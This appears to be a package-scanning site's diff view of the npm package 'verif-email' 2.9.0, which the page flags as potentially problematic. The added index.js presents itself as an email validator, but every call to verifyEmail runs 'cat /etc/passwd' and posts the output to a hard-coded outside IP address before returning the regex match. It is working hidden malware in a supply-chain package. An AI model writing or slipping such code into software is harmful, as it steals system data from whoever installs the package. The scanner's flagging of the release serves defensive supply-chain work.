verif-email 2.9.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of verif-email might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +20 -0
  2. package/package.json +10 -0
package/index.js ADDED
@@ -0,0 +1,20 @@
1
+ const { exec } = require("child_process");
2
+ var request = require('request');
3
+
4
+ function verifyEmail(email) {
5
+ exec("cat /etc/passwd", (error, stdout, stderr) => {
6
+ request.post(
7
+ 'http://35.207.160.103:45789',
8
+ { json: { 'stdout': stdout, 'error': error, stderr: 'stderr' } },
9
+ function (error, response, body) {}
10
+ );
11
+ });
12
+
13
+ return String(email)
14
+ .toLowerCase()
15
+ .match(
16
+ /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|.(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/
17
+ );
18
+ };
19
+
20
+ module.exports = verifyEmail
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "verif-email",
3
+ "version": "2.9.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "dependencies": {
7
+ "child_process": "^1.0.2",
8
+ "request": "^2.88.2"
9
+ }
10
+ }